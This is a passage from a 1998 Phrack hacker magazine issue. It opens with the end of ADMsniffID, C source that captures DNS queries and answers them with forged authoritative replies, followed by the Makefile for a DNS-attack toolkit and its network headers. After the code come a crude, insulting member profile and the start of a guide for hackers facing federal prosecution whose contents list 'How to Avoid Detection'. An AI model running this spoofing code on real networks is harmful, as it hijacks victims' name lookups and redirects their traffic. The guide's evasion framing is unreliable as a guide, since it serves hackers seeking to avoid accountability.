bzero(bla,sizeof(bla));
bzero(buffer2,sizeof(buffer2));
if( (sraw=socket(AF_INET,SOCK_RAW,IPPROTO_RAW)) == ERROR){
perror("socket");
exit(ERROR);
}
if( (setsockopt(sraw, IPPROTO_IP, IP_HDRINCL, (char *)&on, sizeof(on))) == ERROR){
perror("setsockopt");
exit(ERROR);
}
/* open pcap descriptor */
pcap_d = pcap_open_live(argv[1],sizeof(buffer),0,100,ebuf);
printf("ADMsniffID %s (c) ADMnHeike\n",VERSION);
while(1){
buffer =(u_char *)pcap_next(pcap_d,&h); /* catch the packet */
ip = (struct iphdr *)(buffer+ETHHDRSIZE);
udp = (struct udphdr *)(buffer+ETHHDRSIZE+IPHDRSIZE);
dnsrecv = (struct dnshdr *)(buffer+ETHHDRSIZE+IPHDRSIZE+UDPHDRSIZE);
data = (char *)(buffer+ETHHDRSIZE+IPHDRSIZE+UDPHDRSIZE+DNSHDRSIZE);
if(ip->protocol == 17)
if(udp->dest == htons(53) )
if(dnsrecv->qr == 0)
{
strcpy(namez,data);
nameformat(namez,bla);
printf("hum we have a DNS question from %s diz guyz wanna %s!\n",inet_ntoa(ip->saddr),(char *)bla);
bzero(bla,sizeof(bla));
printf("the question have the type %i and type of the query %i\n"
,ntohs(*((u_short *)(data+strlen(data)+1)))
,ntohs(*((u_short *)(data+strlen(data)+2+1))));
/* well in diz version we only spoof the type 'A' */
/* check out for a new version in ftp.janova.org/pub/ADM */
printf("make the spoof packet...\n");
printf("dns header\n");
/* here we gonna start to make the spoofed paket :)*/
memcpy(dnssend,dnsrecv,DNSHDRSIZE+strlen(namez)+5);
dnssend->id=dnsrecv->id; /* haha the ID ;) */
dnssend->aa=1; /* i've the authority */
dnssend->ra=1; /* i've the recusion */
dnssend->qr=1; /* its a awser */
dnssend->rep_num = htons(1); /* i've one awnser */
printf("ID=%i\nnumba of question=%i\nnumba of awnser =%i\n"
,dnssend->id,ntohs(dnssend->que_num),ntohs(dnssend->rep_num));
printf("Question..\n");
printf("domainename=%s\n",data2);
printf("type of question=%i\n",ntohs(*((u_short *)(data2+strlen(namez)+1))));
printf("type of query=%i\n",ntohs(*((u_short *)(data2+strlen(namez)+1+2))));
if( type == TYPE_PTR){
tmp1=strlen(namez)+5;
strcpy(data2+tmp1,namez);
tmp1=tmp1+strlen(namez)+1;
bzero(tmp2,sizeof(tmp2));
nameformat(spoofname,tmp2);
printf("tmp2 = %s\n",tmp2);
printf(" mouhahahah \n");
*((u_short *)(data2+tmp1)) = htons(TYPE_PTR);
*((u_short *)(data2+tmp1+2)) = htons(1);
*((u_long *)(data2+tmp1+2+2)) = htonl(86400);
*((u_short *)(data2+tmp1+2+2+4)) = htons(strlen((tmp2)+1));
printf("bhaa?.\n");
strcpy((data2+tmp1+2+2+4+2),tmp2);
printf(" ouf !! =) \n");
tmp1 = tmp1 +strlen(tmp2)+ 1;
}
if( type == TYPE_A){
tmp1=strlen(namez)+5;
strcpy(data2+tmp1,namez);
tmp1=tmp1+strlen(namez)+1;
*((u_short *)(data2+tmp1)) = htons(TYPE_A);
*((u_short *)(data2+tmp1+2)) = htons(1);
*((u_long *)(data2+tmp1+2+2)) = htonl(86400);
*((u_short *)(data2+tmp1+2+2+4)) = htons(4);
*((u_long *)(data2+tmp1+2+2+4+2)) = host2ip(SPOOFIP);
}
printf("Answer..\n");
printf("domainname=%s\n",tmp2);
printf("type=%i\n",ntohs(*((u_short *)(data2+tmp1))));
printf("classe=%i\n",ntohs(*((u_short *)(data2+tmp1+2))));
printf("time to live=%u\n",ntohl(*((u_long *)(data2+tmp1+2+2))));
printf("resource data lenght=%i\n",ntohs(*((u_short *)(data2+tmp1+2+2+4))));
printf("IP=%s\n",inet_ntoa(*((u_long *)(data2+tmp1+2+2+4+2))));
tmp1=tmp1+2+2+4+2+4; /* now tmp1 == the total length of packet dns */
/* without the dnshdr */
udp_send(sraw
,ip->daddr
,ip->saddr
,ntohs(udp->dest)
,ntohs(udp->source)
,buffer2
,DNSHDRSIZE+tmp1);
} /* end of the spoof */
} /* end of while(1) */
} /* The End !! ;) */
ADMIDpack/Makefile
# version 0.1
#/usr/contrib/bin/gcc -L. -I. ADMkillDNS.c -lsocket -lnsl -lpcap -o ../ADMbin/ADMkillDNS
SHELL = /bin/sh
# uncomment this if your are not on LinuX
#LIBS = -lsocket -lnsl -lpcap
#
CC = gcc
LIBS = -lpcap
BIN = .
CFLAGS = -I. -L.
all: ADMkillDNS ADMsnOOfID ADMsniffID ADMdnsfuckr ADMnOg00d
ADMkillDNS: ADMkillDNS.c
$(CC) $(CFLAGS) ADMkillDNS.c $(LIBS) -o $(BIN)/ADMkillDNS
ADMsnOOfID: ADMsnOOfID.c
$(CC) $(CFLAGS) ADMsnOOfID.c $(LIBS) -o $(BIN)/ADMsnOOfID
ADMsniffID: ADMsniffID.c
$(CC) $(CFLAGS) ADMsniffID.c $(LIBS) -o $(BIN)/ADMsniffID
ADMdnsfuckr: ADMdnsfuckr.c
$(CC) $(CFLAGS) ADMdnsfuckr.c $(LIBS) -o $(BIN)/ADMdnsfuckr
ADMnOg00d: ADMnOg00d.c
$(CC) $(CFLAGS) ADMnOg00d.c $(LIBS) -o $(BIN)/ADMnOg00d
clean:
rm -f $(BIN)/*o $(BIN)/ADMsniffID $(BIN)/ADMsnOOfID $(BIN)/ADMnOg00d \
$(BIN)/ADMkillDNS $(BIN)/ADMdnsfuckr
ADMIDpack/bpf.h
/*-
* Copyright (c) 1990, 1991, 1992, 1993, 1994, 1995, 1996, 1997
* The Regents of the University of California. All rights reserved.
*
* This code is derived from the Stanford/CMU enet packet filter,
* (net/enet.c) distributed as part of 4.3BSD, and code contributed
* to Berkeley by Steven McCanne and Van Jacobson both of Lawrence
* Berkeley Laboratory.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
* 1. Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* 2. Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
* 3. All advertising materials mentioning features or use of this software
* must display the following acknowledgement:
* This product includes software developed by the University of
* California, Berkeley and its contributors.
* 4. Neither the name of the University nor the names of its contributors
* may be used to endorse or promote products derived from this software
* without specific prior written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND
* ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
* ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE
* FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
* OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
* LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
* OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
* SUCH DAMAGE.
*
* @(#)bpf.h 7.1 (Berkeley) 5/7/91
*
* @(#) $Header: bpf.h,v 1.36 97/06/12 14:29:53 leres Exp $ (LBL)
*/
#ifndef BPF_MAJOR_VERSION
/* BSD style release date */
#define BPF_RELEASE 199606
typedef int bpf_int32;
typedef u_int bpf_u_int32;
/*
* Alignment macros. BPF_WORDALIGN rounds up to the next
* even multiple of BPF_ALIGNMENT.
*/
#define BPF_ALIGNMENT sizeof(bpf_int32)
#define BPF_WORDALIGN(x) (((x)+(BPF_ALIGNMENT-1))&~(BPF_ALIGNMENT-1))
#define BPF_MAXINSNS 512
#define BPF_MAXBUFSIZE 0x8000
#define BPF_MINBUFSIZE 32
/*
* Structure for BIOCSETF.
*/
struct bpf_program {
u_int bf_len;
struct bpf_insn *bf_insns;
};
/*
* Struct returned by BIOCGSTATS.
*/
struct bpf_stat {
u_int bs_recv; /* number of packets received */
u_int bs_drop; /* number of packets dropped */
};
/*
* Struct return by BIOCVERSION. This represents the version number of
* the filter language described by the instruction encodings below.
* bpf understands a program iff kernel_major == filter_major &&
* kernel_minor >= filter_minor, that is, if the value returned by the
* running kernel has the same major number and a minor number equal
* equal to or less than the filter being downloaded. Otherwise, the
* results are undefined, meaning an error may be returned or packets
* may be accepted haphazardly.
* It has nothing to do with the source code version.
*/
struct bpf_version {
u_short bv_major;
u_short bv_minor;
};
/* Current version number of filter architecture. */
#define BPF_MAJOR_VERSION 1
#define BPF_MINOR_VERSION 1
/*
* BPF ioctls
*
* The first set is for compatibility with Sun's pcc style
* header files. If your using gcc, we assume that you
* have run fixincludes so the latter set should work.
*/
#if (defined(sun) || defined(ibm032)) && !defined(__GNUC__)
#define BIOCGBLEN _IOR(B,102, u_int)
#define BIOCSBLEN _IOWR(B,102, u_int)
#define BIOCSETF _IOW(B,103, struct bpf_program)
#define BIOCFLUSH _IO(B,104)
#define BIOCPROMISC _IO(B,105)
#define BIOCGDLT _IOR(B,106, u_int)
#define BIOCGETIF _IOR(B,107, struct ifreq)
#define BIOCSETIF _IOW(B,108, struct ifreq)
#define BIOCSRTIMEOUT _IOW(B,109, struct timeval)
#define BIOCGRTIMEOUT _IOR(B,110, struct timeval)
#define BIOCGSTATS _IOR(B,111, struct bpf_stat)
#define BIOCIMMEDIATE _IOW(B,112, u_int)
#define BIOCVERSION _IOR(B,113, struct bpf_version)
#define BIOCSTCPF _IOW(B,114, struct bpf_program)
#define BIOCSUDPF _IOW(B,115, struct bpf_program)
#else
#define BIOCGBLEN _IOR('B',102, u_int)
#define BIOCSBLEN _IOWR('B',102, u_int)
#define BIOCSETF _IOW('B',103, struct bpf_program)
#define BIOCFLUSH _IO('B',104)
#define BIOCPROMISC _IO('B',105)
#define BIOCGDLT _IOR('B',106, u_int)
#define BIOCGETIF _IOR('B',107, struct ifreq)
#define BIOCSETIF _IOW('B',108, struct ifreq)
#define BIOCSRTIMEOUT _IOW('B',109, struct timeval)
#define BIOCGRTIMEOUT _IOR('B',110, struct timeval)
#define BIOCGSTATS _IOR('B',111, struct bpf_stat)
#define BIOCIMMEDIATE _IOW('B',112, u_int)
#define BIOCVERSION _IOR('B',113, struct bpf_version)
#define BIOCSTCPF _IOW('B',114, struct bpf_program)
#define BIOCSUDPF _IOW('B',115, struct bpf_program)
#endif
/*
* Structure prepended to each packet.
*/
struct bpf_hdr {
struct timeval bh_tstamp; /* time stamp */
bpf_u_int32 bh_caplen; /* length of captured portion */
bpf_u_int32 bh_datalen; /* original length of packet */
u_short bh_hdrlen; /* length of bpf header (this struct
plus alignment padding) */
};
/*
* Because the structure above is not a multiple of 4 bytes, some compilers
* will insist on inserting padding; hence, sizeof(struct bpf_hdr) won't work.
* Only the kernel needs to know about it; applications use bh_hdrlen.
*/
#ifdef KERNEL
#define SIZEOF_BPF_HDR 18
#endif
/*
* Data-link level type codes.
*/
#define DLT_NULL 0 /* no link-layer encapsulation */
#define DLT_EN10MB 1 /* Ethernet (10Mb) */
#define DLT_EN3MB 2 /* Experimental Ethernet (3Mb) */
#define DLT_AX25 3 /* Amateur Radio AX.25 */
#define DLT_PRONET 4 /* Proteon ProNET Token Ring */
#define DLT_CHAOS 5 /* Chaos */
#define DLT_IEEE802 6 /* IEEE 802 Networks */
#define DLT_ARCNET 7 /* ARCNET */
#define DLT_SLIP 8 /* Serial Line IP */
#define DLT_PPP 9 /* Point-to-point Protocol */
#define DLT_FDDI 10 /* FDDI */
#define DLT_ATM_RFC1483 11 /* LLC/SNAP encapsulated atm */
#define DLT_RAW 12 /* raw IP */
#define DLT_SLIP_BSDOS 13 /* BSD/OS Serial Line IP */
#define DLT_PPP_BSDOS 14 /* BSD/OS Point-to-point Protocol */
/*
* The instruction encondings.
*/
/* instruction classes */
#define BPF_CLASS(code) ((code) & 0x07)
#define BPF_LD 0x00
#define BPF_LDX 0x01
#define BPF_ST 0x02
#define BPF_STX 0x03
#define BPF_ALU 0x04
#define BPF_JMP 0x05
#define BPF_RET 0x06
#define BPF_MISC 0x07
/* ld/ldx fields */
#define BPF_SIZE(code) ((code) & 0x18)
#define BPF_W 0x00
#define BPF_H 0x08
#define BPF_B 0x10
#define BPF_MODE(code) ((code) & 0xe0)
#define BPF_IMM 0x00
#define BPF_ABS 0x20
#define BPF_IND 0x40
#define BPF_MEM 0x60
#define BPF_LEN 0x80
#define BPF_MSH 0xa0
/* alu/jmp fields */
#define BPF_OP(code) ((code) & 0xf0)
#define BPF_ADD 0x00
#define BPF_SUB 0x10
#define BPF_MUL 0x20
#define BPF_DIV 0x30
#define BPF_OR 0x40
#define BPF_AND 0x50
#define BPF_LSH 0x60
#define BPF_RSH 0x70
#define BPF_NEG 0x80
#define BPF_JA 0x00
#define BPF_JEQ 0x10
#define BPF_JGT 0x20
#define BPF_JGE 0x30
#define BPF_JSET 0x40
#define BPF_SRC(code) ((code) & 0x08)
#define BPF_K 0x00
#define BPF_X 0x08
/* ret - BPF_K and BPF_X also apply */
#define BPF_RVAL(code) ((code) & 0x18)
#define BPF_A 0x10
/* misc */
#define BPF_MISCOP(code) ((code) & 0xf8)
#define BPF_TAX 0x00
#define BPF_TXA 0x80
/*
* The instruction data structure.
*/
struct bpf_insn {
u_short code;
u_char jt;
u_char jf;
bpf_int32 k;
};
/*
* Macros for insn array initializers.
*/
#define BPF_STMT(code, k) { (u_short)(code), 0, 0, k }
#define BPF_JUMP(code, k, jt, jf) { (u_short)(code), jt, jf, k }
#ifdef KERNEL
extern u_int bpf_filter();
extern void bpfattach();
extern void bpf_tap();
extern void bpf_mtap();
#else
#if __STDC__
extern u_int bpf_filter(struct bpf_insn *, u_char *, u_int, u_int);
#endif
#endif
/*
* Number of scratch memory words (for BPF_LD|BPF_MEM and BPF_ST).
*/
#define BPF_MEMWORDS 16
#endif
ADMIDpack/dns.h
#define DNSHDRSIZE 12
struct dnshdr {
unsigned short int id;
unsigned char rd:1; /* recursion desired */
unsigned char tc:1; /* truncated message */
unsigned char aa:1; /* authoritive answer */
unsigned char opcode:4; /* purpose of message */
unsigned char qr:1; /* response flag */
unsigned char rcode:4; /* response code */
unsigned char unused:2; /* unused bits */
unsigned char pr:1; /* primary server required (non standard) */
unsigned char ra:1; /* recursion available */
unsigned short int que_num;
unsigned short int rep_num;
unsigned short int num_rr;
unsigned short int num_rrsup;
};
ADMIDpack/ip.h
/* adapted from tcpdump */
#ifndef IPVERSION
#define IPVERSION 4
#endif /* IPVERISON */
struct iphdr {
u_char ihl:4, /* header length */
version:4; /* version */
u_char tos; /* type of service */
short tot_len; /* total length */
u_short id; /* identification */
short off; /* fragment offset field */
#define IP_DF 0x4000 /* dont fragment flag */
#define IP_MF 0x2000 /* more fragments flag */
u_char ttl; /* time to live */
u_char protocol; /* protocol */
u_short check; /* checksum */
struct in_addr saddr, daddr; /* source and dest address */
};
#ifndef IP_MAXPACKET
#define IP_MAXPACKET 65535
#endif /* IP_MAXPACKET */
ADMIDpack/pcap.h
/*
* Copyright (c) 1993, 1994, 1995, 1996, 1997
* The Regents of the University of California. All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
* 1. Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* 2. Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
* 3. All advertising materials mentioning features or use of this software
* must display the following acknowledgement:
* This product includes software developed by the Computer Systems
* Engineering Group at Lawrence Berkeley Laboratory.
* 4. Neither the name of the University nor of the Laboratory may be used
* to endorse or promote products derived from this software without
* specific prior written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND
* ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
* ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE
* FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
* OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
* LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
* OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
* SUCH DAMAGE.
*
* @(#) $Header: pcap.h,v 1.21 97/10/15 21:59:13 leres Exp $ (LBL)
*/
#ifndef lib_pcap_h
#define lib_pcap_h
#include
#include
#include
#include
#define PCAP_VERSION_MAJOR 2
#define PCAP_VERSION_MINOR 4
#define PCAP_ERRBUF_SIZE 256
/*
* Compatibility for systems that have a bpf.h that
* predates the bpf typedefs for 64-bit support.
*/
#if BPF_RELEASE - 0 < 199406
typedef int bpf_int32;
typedef u_int bpf_u_int32;
#endif
typedef struct pcap pcap_t;
typedef struct pcap_dumper pcap_dumper_t;
/*
* The first record in the file contains saved values for some
* of the flags used in the printout phases of tcpdump.
* Many fields here are 32 bit ints so compilers won't insert unwanted
* padding; these files need to be interchangeable across architectures.
*/
struct pcap_file_header {
bpf_u_int32 magic;
u_short version_major;
u_short version_minor;
bpf_int32 thiszone; /* gmt to local correction */
bpf_u_int32 sigfigs; /* accuracy of timestamps */
bpf_u_int32 snaplen; /* max length saved portion of each pkt */
bpf_u_int32 linktype; /* data link type (DLT_*) */
};
/*
* Each packet in the dump file is prepended with this generic header.
* This gets around the problem of different headers for different
* packet interfaces.
*/
struct pcap_pkthdr {
struct timeval ts; /* time stamp */
bpf_u_int32 caplen; /* length of portion present */
bpf_u_int32 len; /* length this packet (off wire) */
};
/*
* As returned by the pcap_stats()
*/
struct pcap_stat {
u_int ps_recv; /* number of packets received */
u_int ps_drop; /* number of packets dropped */
u_int ps_ifdrop; /* drops by interface XXX not yet supported */
};
typedef void (*pcap_handler)(u_char *, const struct pcap_pkthdr *,
const u_char *);
char *pcap_lookupdev(char *);
int pcap_lookupnet(char *, bpf_u_int32 *, bpf_u_int32 *, char *);
pcap_t *pcap_open_live(char *, int, int, int, char *);
pcap_t *pcap_open_offline(const char *, char *);
void pcap_close(pcap_t *);
int pcap_loop(pcap_t *, int, pcap_handler, u_char *);
int pcap_dispatch(pcap_t *, int, pcap_handler, u_char *);
const u_char*
pcap_next(pcap_t *, struct pcap_pkthdr *);
int pcap_stats(pcap_t *, struct pcap_stat *);
int pcap_setfilter(pcap_t *, struct bpf_program *);
void pcap_perror(pcap_t *, char *);
char *pcap_strerror(int);
char *pcap_geterr(pcap_t *);
int pcap_compile(pcap_t *, struct bpf_program *, char *, int,
bpf_u_int32);
/* XXX */
int pcap_freecode(pcap_t *, struct bpf_program *);
int pcap_datalink(pcap_t *);
int pcap_snapshot(pcap_t *);
int pcap_is_swapped(pcap_t *);
int pcap_major_version(pcap_t *);
int pcap_minor_version(pcap_t *);
/* XXX */
FILE *pcap_file(pcap_t *);
int pcap_fileno(pcap_t *);
pcap_dumper_t *pcap_dump_open(pcap_t *, const char *);
void pcap_dump_close(pcap_dumper_t *);
void pcap_dump(u_char *, const struct pcap_pkthdr *, const u_char *);
/* XXX this guy lives in the bpf tree */
u_int bpf_filter(struct bpf_insn *, u_char *, u_int, u_int);
char *bpf_image(struct bpf_insn *, int);
#endif
ADMIDpack/udp.h
struct udphdr {
u_short source; /* source port */
u_short dest; /* destination port */
u_short len; /* udp length */
u_short check; /* udp checksum */
};
----[ EOF
---[ Phrack Magazine Volume 8, Issue 52 January 26, 1998, article 04 of 20
-------------------------[ P H R A C K 5 2 P R O P H I L E
----------------[ Personal
Handle: O0
Call him: pachuco. Hey... me.
Past handles: digital jesus
Handle origin: L. Ron Hubbard and I thought it up.
Date of Birth: 07/74
Height: With heels or without?
Weight: In the sixth grade I was in a roman play. I was Naples.
Eye color: Blue.
Hair Color: Blue. I'm old.
Computers: Yes please. Extra Mayo, No onions.
Admin of: Nothing. I'm not an admin.
Sites Frequented: www.scientology.org (If you are going to hack someone,
hack me.)
URLs: The web is a really good excuse to waste time unless
you are doing research, distributing religous propaganda,
or selling sex oriented products.
----------------[ Favorite Things
Women: Daemon9, are you trying to ask me something?
Cars: Porsche Carrera whatever
Foods: The Roxy in Encinitas, Ca., Filibertos in Encinitas, Ca.,
and of course, "deli world" in the San Francisco ghetto
(Excelsior). $1 food is next door.
Music: Fugazi, Jazz, Acid Jazz, Lounge, Gregorian Chant, Jon
Spencer - Orange, One Dollar Food (Mondays at the Red
Devil Lounge in SF - Feds Welcome, but have good suits and
fast sneakers so I know who you are)
Movies: Usual Suspects, Ferris Buellers Day Off, Mall Rats,
Anything not starring pauly shore or Rodney Dangerfield.
Books: Chaos, making a new science by James Gleick
The C programming language, by Wik, and Als0 wik.
"Why I just can't seem to dance" - A documentary by Daemon9
Quotes: "Hell hath no fury like a woman's scorn for Sega" - Brodie.
"Woohoo! The water in this bathtub sure is ... white!"
- B. Clinton.
"Woohoo! Jessie Jackson sure is black!" - Pat Buchanan.
"I just never can seem to find things when I need them"
- Ollie North.
"People will eat shit, if you just put salad dressing on
it." - B. Gates.
"ARF! grr." - Tattoo.
Turn Ons: * Miniskirts, Garders, Vinyl, Perfume, Meat Eaters, Smart
Girls without attitudes.
Turn Offs: * Fat, ugly, smelly, vegetarian "granolas" with no
personality who wear 20 year old clothes that they still
have not washed yet, and lack the social skills or
capacity to learn.
* Salespeople
----------------[ Passions
- Business (penetration testing / security auditing).
- Tropical places (relaxation).
- Urban places (excitement).
- Winky, the magic dog, mule, hare catcher.
- Computers / networking.
- My girlfriend.
- Europe in general (but honestly, if you are Dutch and you own a restaurant,
come to the US, and learn about ground beef. Also, figure out what "well
done" means. Honestly though, I must compliment you on your excellent
selection of various strains of marijuana).
----------------[ Memorable experiences
- Owning switches over the Internet (TCP --> X.25).
- Owning my first nice car.
- Owning your machine.
- Getting punched by a large Sicilian, and getting knocked out.
- Putting a large Sicilian in the hospital.
----------------[ People to mention
- Joan Croc, for all of the millions of dollars she never gave me.
- Daemon9, for patting me on the back and breaking my spine by accident.
- My girlfriend, for being the awesome girl next door.
- Her parents, for feeding me all the time.
- Tattoo, my puppy ... for pissing on my bed, my floor, and all my clothes.
- Everyone who has ever served me coffee.
- Everyone who has ever betrayed me. Thanks so much for your warmth and
compassion.
- Mr Rogers. Using drugs to teach America's youth the moral responsibilities
they should adopt for their upcoming, bright futures, and using puppets to
illustrate the values of a smoothly flowing dictatorship.
- My parents, for tolerating all the weird phone calls from the rest of you
fuckers for many years, and for motivating me to learn about things I was
interested in by telling me that I would never get a job if I didn't go to
college. Heck, at least I didn't buy a degree out of a magazine, and end up
President of the United States.
- Oprah, for providing me with entertainment while I watched you expand and
contract like a blowfish. (I don't think she reads this anyway) (But if I'm
wrong, and Oprah is an avid phrack reader, then by all means .. sorry , it
was only a joke... Besides, according to MiB, you're an alien).
----------------[ Pearls Of Wisdom
- Don't take any wooden nickels, but if you do, make sure you get enough to
build a log cabin. Don't take any log cabins, but of you do, cut them up
small enough that you can give alot of people wooden nickels.
- Don't make up any cliches, but if you do, make sure they're funny.
- Make your business work for you, don't work for your business.
- Never ignore the ones you love.
- Buy quality merchandise for your home the first time around... unless you
have roommates.
- If everyone else around you gets caught, its time to stop.
- If a speaker is a speaker, and not a "sound emissions device", then is
toilet paper "toilet paper", or "Butt Wiping Cloth?"
- Eat out alot, unless she tells you to stop.
- All the people who consistently come on irc and ask "teach me how to hack",
first of all, most of the people on irc understand English as well as its
associated rules of grammar. Second, pick up a fricking book once in a
while and you might actually be surprised at what you are capable of. We're
supposed to be evolving, remember?
- When I was a young boy, I ate a snail. If you are a young boy, don't.
- If you beat the shit out of someone, make sure its not in front of my house,
because I don't want to clean up all that shit.
----[ EOF
---[ Phrack Magazine Volume 8, Issue 52 January 26, 1998, article 05 of 20
---------[ EVERYTHING A HACKER NEEDS TO KNOW ABOUT GETTING BUSTED BY THE FEDS
--------[ Agent Steal
From Federal Prison, 1997
Contributions and editing by Minor Threat
Special thanks to Evian S. Sim
NOTICE: The following document is to be construed as "Legal Material" as set
forth in The Federal Bureau of Prisons policy statement, P.S. 1315.05, and as
codified in 28 C.F.R. 543.10-16
This article may be freely reproduced, in whole or in part, provided
acknowledgments are given to the author. Any reproduction for profit, lame
zines, (that means you t0mmy, el8, thief) or law enforcement use is prohibited.
The author and contributor to this phile in no way advocate criminal behavior.
----------------
CONTENTS
----------------
INTRODUCTION
PART I - FEDERAL CRIMINAL LAW PART II - FEDERAL PRISON
A. Relevant Conduct A. State v. Federal
B. Preparing for Trial B. Security Levels
C. Plea Agreements and Attorneys C. Getting Designated
D. Conspiracy D. Ignorant Inmates
E. Sentencing E. Population
F. Use of Special Skill F. Doing Time
G. Getting Bail G. Disciplinary Action
H. State v. Federal Charges H. Administrative Remedy
I. Cooperating I. Prison Officials
J. Still Thinking About Trial J. The Hole
K. Search and Seizure K. Good Time
L. Surveillance L. Halfway House
M. Presentence Investigation M. Supervised Release
N. Proceeding Pro Se
O. Evidentiary Hearing
P. Return of Property
Q. Outstanding Warrants
R. Encryption
S. Summary
Part III - 2600 Special Section:
A. How to Avoid Detection
B. The Stealth Box
C. More Protection
CLOSURE
INTRODUCTION
The likelihood of getting arrested for computer hacking has increased
to an unprecedented level. No matter how precautionary or sage you are, you're
bound to make mistakes. And the fact of the matter is if you have trusted
anyone else with the knowledge of what you are involved in, you have made your
first mistake.
For anyone active in hacking I cannot begin to stress the importance
of the information contained in this file. To those who have just been
arrested by the Feds, reading this file could mean the difference between a
three-year or a one-year sentence. To those who have never been busted,
reading this file will likely change the way you hack, or stop you from
hacking altogether.
I realize my previous statements are somewhat lofty, but in the 35
months I spent incarcerated I've heard countless inmates say it: "If I knew
then what I know now..." I doubt that anyone would disagree: The criminal
justice system is a game to be played, both by prosecution and defense. And if
you have to be a player, you would be wise to learn the rules of engagement.
The writer and contributors of this file have learned the hard way. As a
result we turned our hacking skills during the times of our incarceration
towards the study of criminal law and, ultimately, survival. Having filed our
own motions, written our own briefs and endured life in prison, we now pass
this knowledge back to the hacker community. Learn from our experiences...
and our mistakes.
- Agent Steal
PART I - FEDERAL CRIMINAL LAW
A. THE BOTTOM LINE - RELEVANT CONDUCT
For those of you with a short G-phile attention span I'm going to
cover the single most important topic first. This is probably the most
substantial misunderstanding of the present criminal justice system. The
subject I am talking about is referred to in legal circles as "relevant
conduct." It's a bit complex and I will get into this... However, I have to
make this crystal clear so that it will stick in your heads. It boils down to
two concepts:
I. ONCE YOU ARE FOUND GUILTY OF EVEN ONE COUNT, EVERY COUNT WILL BE USED TO
CALCULATE YOUR SENTENCE
Regardless of whether you plea bargain to one count or 100, your
sentence will be the same. This is assuming we are talking about hacking,
code abuse, carding, computer trespass, property theft, etc. All of these are
treated the same. Other crimes you committed (but were not charged with) will
also be used to calculate your sentence. You do not have to be proven guilty
of every act. As long as it appears that you were responsible, or someone
says you were, then it can be used against you. I know this sounds insane ,
but it's true; it's the preponderance of evidence standard for relevant
conduct. This practice includes using illegally seized evidence and
acquittals as information in increasing the length of your sentence.
II. YOUR SENTENCE WILL BE BASED ON THE TOTAL MONETARY LOSS
The Feds use a sentencing table to calculate your sentence. It's
simple; More Money = More Time. It doesn't matter if you tried to break in 10
times or 10,000 times. Each one could be a count but it's the loss that
matters. And an unsuccessful attempt is treated the same as a completed crime.
It also doesn't matter if you tried to break into one company's computer or 10.
The government will quite simply add all of the estimated loss figures up, and
then refer to the sentencing table.
B. PREPARING FOR TRIAL
I've been trying to be overly simplistic with my explanation. The
United States Sentencing Guidelines (U.S.S.G.), are in fact quite complex. So
much so that special law firms are forming that deal only with sentencing. If
you get busted, I would highly recommend hiring one. In some cases it might
be wise to avoid hiring a trial attorney and go straight to one of these "Post
Conviction Specialists." Save your money, plead out, do your time. This may
sound a little harsh, but considering the fact that the U.S. Attorney's Office
has a 95% conviction rate, it may be sage advice. However, I don't want to
gloss over the importance of a ready for trial posturing. If you have a
strong trial attorney, and have a strong case, it will go a long way towards
good plea bargain negotiations.
C. PLEA AGREEMENTS AND ATTORNEYS
Your attorney can be your worst foe or your finest advocate. Finding
the proper one can be a difficult task. Costs will vary and typically the
attorney asks you how much cash you can raise and then says, "that amount will
be fine". In actuality a simple plea and sentencing should run you around
$15,000. Trial fees can easily soar into the 6 figure category. And finally,
a post conviction specialist will charge $5000 to $15,000 to handle your
sentencing presentation with final arguments.
You may however, find yourself at the mercy of The Public Defenders
Office. Usually they are worthless, occasionally you'll find one that will
fight for you. Essentially it's a crap shoot. All I can say is if you don't
like the one you have, fire them and hope you get appointed a better one. If
you can scrape together $5000 for a sentencing (post conviction) specialist to
work with your public defender I would highly recommend it. This specialist
will make certain the judge sees the whole picture and will argue in the most
effective manner for a light or reasonable sentence. Do not rely on your
public defender to thoroughly present your case. Your sentencing hearing is
going to flash by so fast you'll walk out of the court room dizzy. You and
your defense team need to go into that hearing fully prepared, having already
filed a sentencing memorandum.
The plea agreement you sign is going to affect you and your case well
after you are sentenced. Plea agreements can be tricky business and if you
are not careful or are in a bad defense position (the case against you is
strong), your agreement may get the best of you. There are many issues in a
